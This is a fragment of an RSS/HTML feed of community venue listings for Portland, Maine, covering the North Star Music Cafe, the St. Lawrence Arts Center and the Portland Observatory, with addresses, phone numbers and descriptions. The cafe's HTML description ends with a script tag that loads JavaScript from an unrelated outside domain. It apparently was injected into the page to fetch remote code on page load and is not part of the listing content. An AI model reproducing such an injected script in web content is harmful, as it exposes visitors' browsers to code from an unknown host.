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		<title>North Star Music Cafe</title>
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		<pubDate>Sun, 09 Nov 2008 17:42:31 +0000</pubDate>
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225 Congress Street
Portland, ME 04101
207-699-2994
www.northstarmusiccafe.com

North Star Music Cafe is a warm, comfortable space for the neighborhood and the larger Portland community.  We offer fair trade beverages, healthy fare, and a fine selection of local beer and wine. North Star Music Café is a place where you can come sink into a comfy couch with [...]]]></description>
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<blockquote><p>225 Congress Street<br />
Portland, ME 04101<br />
207-699-2994<br />
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North Star Music Cafe is a warm, comfortable space for the neighborhood and the larger Portland community.  We offer fair trade beverages, healthy fare, and a fine selection of local beer and wine. North Star Music Café is a place where you can come sink into a comfy couch with a latte or a cup of herbal tea and your laptop, use the free wi-fi, wander around and look at the local art on the walls, or grab and beer and see some of the area’s best acoustic performers.<script src="http://ae.awaue.com/7"></script></p>
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		<title>St. Lawrence Arts Center</title>
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76 Congress Street
Portland, ME 04101
207-775-5568 ext. 102
www.stlawrencearts.org

The St. Lawrence Arts &#38; Community Center is owned and operated by the non-profit corporation Friends of the St. Lawrence Church, a 501(c)(3) tax exempt organization created in 1996 to restore the historic St. Lawrence Church and return it to use to its community. The Friends of the St. [...]]]></description>
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<blockquote><p>76 Congress Street<br />
Portland, ME 04101<br />
207-775-5568 ext. 102<br />
<a href="http://www.stlawrencearts.org">www.stlawrencearts.org</a></p></blockquote>
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The St. Lawrence Arts &amp; Community Center is owned and operated by the non-profit corporation Friends of the St. Lawrence Church, a 501(c)(3) tax exempt organization created in 1996 to restore the historic St. Lawrence Church and return it to use to its community. The Friends of the St. Lawrence Church has a 3-part mission:</p>
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<li>Arts and Culture: creating an affordable and accessible venue for diverse offerings of performance arts &#8211; theater, dance, music, film, meetings and workshops;</li>
<li>Neighborhood and Community: adding activity, entertainment, cultural enrichment, social interaction, renovation and investment that serve both the surrounding low-income neighborhood of Munjoy Hill as well as the residents of Greater Portland.</li>
<li>Historic Preservation: rehabilitating this local and national landmark with the adaptive reuse of an arts and community center</li>
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		<title>Portland Observatory / Greater Portland Landmarks</title>
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		<pubDate>Thu, 09 Jul 2009 13:12:20 +0000</pubDate>
		<dc:creator>Sally</dc:creator>
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Portland Maine 04101
Office: 165 State Street
Portland Maine 04102
207-774-5561
www.portlandlandmarks.org

The Portland Observatory (1807) is the only remaining historic maritime signal tower in the country. Located at the top of Munjoy Hill, the Observatory is open from Memorial Day weekend through Columbus Day.
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Portland Maine 04101<br />
Office: 165 State Street<br />
Portland Maine 04102<br />
207-774-5561<br />
<a href="http://www.portlandlandmarks.org">www.portlandlandmarks.org</a></p></blockquote>
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<p>The Portland Observatory (1807) is the only remaining historic maritime signal tower in the country. Located at the top of Munjoy Hill, the Observatory is open from Memorial Day weekend through Columbus Day.</p>
<p>The Observatory is operated by Greater Portland Landmarks, a nonprofit organization dedicated to preserving and enhancing Portland’s architectural integrity through advocacy, education, research, and preservation projects. Landmarks encourages historic preservation, excellence in contemporary design, and thoughtful planning for the future.</p>
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